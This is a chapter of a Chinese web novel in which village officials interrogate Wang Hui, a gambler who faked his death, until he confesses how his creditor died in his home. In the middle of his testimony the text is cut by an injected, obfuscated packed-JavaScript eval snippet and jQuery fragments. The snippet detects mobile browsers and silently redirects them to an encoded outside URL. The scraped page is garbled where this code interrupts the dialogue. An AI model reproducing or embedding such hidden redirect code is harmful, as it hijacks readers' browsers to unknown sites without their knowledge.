默认冷灰
24号文字
方正启体

66. 第 66 章

作者:唐小漫本书字数:K更新时间:
    蹲点找人一天五元,还给报销饭费。抓到人,直接一百块大洋的奖励,悬赏捉凶,这差事郝大勇自己都想去了。


    可惜林悦不许村大队的现有人员出差,本想着一守少则十天半月,多着两三个月,这还不赚得盆满钵满的。


    二十几个人分组的大部队还没守到三天,王辉的活人就被带回来了。


    出去寻找王辉是秘密行动,他是蒙着头回来的,村民们都没提前收到风声。


    见到王辉脖子上挂着脑袋,完整无损地回来了,村大队工作的人下巴都要惊掉了。


    “王辉,你这脑袋还在啊?”郝大勇扒着王辉的脖领子,仔细寻找,别说是丢个脑袋碗大的疤,连个痕迹都没有。


    王辉缩了缩脖子,不想让人碰到他,还在嘴硬说,“谁是王辉,你们认错人了。”


    押解王辉回来小兄弟上去给他一脚,“你还装是不?豁口耳朵,大脑袋,谁还不认识你呗!”


    “人有相似,我模样都是父母给的。我长得像你们要找的人,就随便让我来顶罪啊?”


    “你小子,死到临头还嘴硬是不?”张玉林急了,王辉这不是明显的耍臭无赖嘛。


    王辉抱着肩膀,仰着脖子,一副革命烈士,视死如归,打死都不说自己是谁的架势。


    张玉林看王辉实在气人,没想到他居然还活着,诈死耍的大家团团转。


    顾大夫因为他在扣押房待了快半个月,平时干净整洁的大好青年颓废得像个小老头。


    张玉林一记拳头打在王辉的肚子上,他的拳头像是锤子似的快把脾脏给震碎了。


    王辉疼得龇牙咧嘴,直不起腰,但还是不改口,死都不承认。


    出发之前王辉和王婆就商量好了,任何时候都不能承认自己是谁。


    如是遇上个熟人,只要他不说,大家都拿他没辙,就当见鬼了。


    张玉林在王辉的后背又锤了两拳,他直接耍无赖趴地上不起来了。欠债被追债时,王辉没少挨打,身板看着不算结实,但是抗揍。


    张玉林摊手没辙,他最怕这种蒸不熟煮不烂的主儿,油盐不进,就是不开口说话,拿他也没办法。


    林悦不主张他们暴力执法,也不能上行逼供,硬逼王辉开口吧。


    王辉在地上滚来滚去,他心里有谱了,村大队是吓唬他,什么证据都没有,若不然张玉林也不能这样的气急败坏的。


    林悦让郑有财和张玉林先把王辉关起来,自言自语小声道,“王婆都说了全是王辉出的主意,反正也不需要他辩驳了,王婆一人的证词足够定他罪了。”


    林悦的声音虽小,但还是一字不落地被王辉听得清清楚楚,他眼珠子滴流乱转,一只脚已经迈出门槛了,又折了回来。


    王辉盯着林悦,“她都说什么了?”


    “什么都说了啊,你怎么杀人的,又是如何布局让自己成为死人的,还有今后的计划,她都告诉我们了。”


    王辉咬着嘴唇犹豫了半天,怎么考虑,怎么猜测,老姑都不会出卖他的吧?


    王婆没结婚没有孩子,一直把王辉当成亲儿子来养,父母都没有老姑对他好。


    仔细一琢磨,这就是个骗局,村大队使诈,让他开口说话。


    他近十年一直在逃追债,也算是“身经百战”,没那么容易被忽悠算计。


    王辉呲呲奸笑,“谁爱说啥说啥,反正我又不是你们找的的人?”


    张玉林领悟到林悦说话的意图,接上一句,“少自己骗自己了,你老姑不说,我们怎么知道你还活着,又是怎么找到你的?”


    这连蒙带炸的激将法,对王辉内心产生了激烈的敲击作用,他破防了。


    回村的路上,王辉也一直在琢磨,村大队的人怎么知道他还没死呢?


    难道是老姑见事情败落了,就兔死狗烹,把责任全推到他身上,来保全自己?


    王婆自私自利,有仇必报,心眼比针眼还小,可不能让她把自己拖累了。


    王辉感觉到风向的确起了变化,什么都不说,就是自寻死路。


    人不为己天诛地灭,王辉高举双手做投降状,大喊着,“我可是冤枉的,这事都是我老姑一个人想出来,和我一点关系都没有啊。”


    林悦和张玉林对视微笑,两人合作越来越有默契,这一唱一和的策略,终于让王辉肯说实话了。


    “能不能先让我喝点水,吃口饭?”王辉在询问室还能提要求,要吃要喝的。


    “美得你,饿着吧!”郝大勇扔下手里的钢笔,态度恶劣地拒绝了。


    “求求你们了,走了一天的山路,我都没劲儿说话了。”王辉扮愁眉苦脸,可怜兮兮地双手作揖,这一招是他惯用的。


    成为赌徒那天起,王辉就不要脸面了,只要能达成目的,儿子样,孙子样他都不在乎了。


    “看看还有什么吃的,给他弄点。”林悦不怕王辉再出幺蛾子,他心里防线已经崩了,自保才是他目前最重要的事。


    王辉狼吞虎咽地吞下了两个玉米面馒头,一碗白菜汤,心满意足地打了个饱嗝,也没机会再拖延了。


    “说吧,吃也吃完了。”郝大勇收走了碗,想看看王辉还能出何花招。


    王辉擦了擦嘴边的馒头渣,第一件事就是澄清自己,“这事我真是冤枉的,都是我老姑想的损招,我可是被迫的。”


    “先别忙着甩锅,说说代替你的男尸,到底是怎么回事吧?”林悦问。


    王辉搓搓鼻子,眼睛到处乱票, “他是我的债主,外村来的,我玩牌断续借了他五百块钱,半年多没还上。他打听到我家,催我还钱。”


    “王辉,可真有你的啊!欠债还钱天经地义,谁家钱是大飞刮来的,你不仅不还钱,还把人杀了?”郝大勇听着就生气,赌徒们个个都是被迷了心智,这么没良心的嘛。


    “我承认我不是东西,没少给家里人添麻烦。但我真没杀他啊。”


    “到底是怎么回事,说详细点。”林悦问。


    王辉叹口气,那天晚上的事如同噩梦一般,真是不愿意再回忆了。


    “我好赌,村里人都不愿意和我玩,更不愿借我钱,但没本钱要怎么翻身,我只能去临近村子找新的牌搭子。”


    “李武在隔壁村开钱庄的,其实就是放高利贷的,一起打牌的搭子介绍我过去,李武很大方,没怎么多问,爽快地借了五十。”


    “那天我手气极好,三天就连本带利付清了,自己还赚了不少。后来,我没钱了就去找李武借钱救急,手气好就早点还,点子背就多欠两天。李武是个爽快人,迟几天也不多说什么,利息也会适当减点。”


    “近半年多也不知刮了什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903793|153831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    邪风,我是逢赌必输,欠李武的钱越来越多,利滚利,别说本金了,我连利息都还不上了。”


    “总被李武催债我也烦,后来我就不去他们村子打牌了,李武也不知我家住址,反正他也找不到我。”


    “但我把事情想简单了,干他们这行的,还有找不到人。我跑路回家安生了三四个月,李武在一天夜里居然找上门来。”


    “那天媳妇带孩子回娘家了,家里只剩下我一个。我自己喝了不少酒,睡得正迷糊时,李武出现在我面前,把我拍醒,让我还钱给他。”


    “我连吃饭的钱都快不够了,上哪找钱还他。我恳求李武在宽限几天,谁知他不通事理,说我若是不还钱,他就待在我家不走了。”


    “我们俩说着说着,李武在我家和我动了手,我酒劲儿正上头,天旋地转全身都没力气,不用人推我都能坐下,哪里是李武的对手?”


    “没比划两下,我就被李武制服了,他掐着我的脖子,让我说出家里的钱放哪儿了。我气都喘不上来了,顾不上回答问题。”


    “李武见我不把钱拿出来,手上的力道就加重了,我感觉眼前天花落坠的,看不清东西听不见声音,我本以为会被李武掐死,谁知道他突然口吐白沫,倒在我身上不停颤抖。”


    “我吓得酒全醒了,李武抽筋儿了一会儿,人就不动了,我试着探了探他的口鼻,冰凉的,应该是没气了。”


    “你说李武是猝死的?”林悦问。


    “什么死?”王辉没听懂,“我不知道他咋死的,反正是死了。我还没想好怎么处理,我媳妇和老姑一起回来了,还好孩子在姥爷家,没领回来。”


    “她们俩看见死在我家的李武也挺害怕的。李武是天黑来的,又是外村人,这一路谁也不认识他,我提议就神不知鬼不觉把他埋了吧,我媳妇也同意了。”


    “人既然不是你杀的,为什么不来村大队报案?”林悦检查无头尸和断头时,他们都没有致命的外伤,可能王辉说的是真的。


    “我说得清吗?屋里就咱两人,李武又是我的债主,他是在我家死的,我就是长了一百张嘴,也说不明白啊。”


    “既然你们决定偷偷埋了李武,后来为何又改变了主意?”林悦再问。


    说好的事情,王婆却为了私心变了卦,王辉越想越生气,抱怨道,“还不是我老姑这个死婆子,偏说村大队的人断她财路,要想办法争口气。”


    “所以就伪造了你假死?这对你又有何好处?”


    “我老姑帮我分析过,假如我死了,以前欠下的债就一笔勾销了。他让我去外村躲一段时间,等村大队换了领导,再想办法让我回来。这些年被追债真的追烦了,老姑的建议对我很受用,我就答应帮她。”


    “为什么选顾以进当杀害你的替罪羊,他又是怎么得罪你们家了?”


    “顾大夫回村,大家都说他是回来报仇的。我老姑说杀人必须有原因,才能让村里人相信,顾大夫最恨我,他是最像凶手的。”


    “你是承认了顾家大火时你在现场,火是你放的?”


    王辉点点头,又摇摇头,表情像是吃了虫子一般的难看,全身都不安稳,在椅子上扭来扭去的。


    这模棱两可回答,林悦还真是看不懂了。


    王辉又是肯定又是否定的,火到底是不是他放的?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)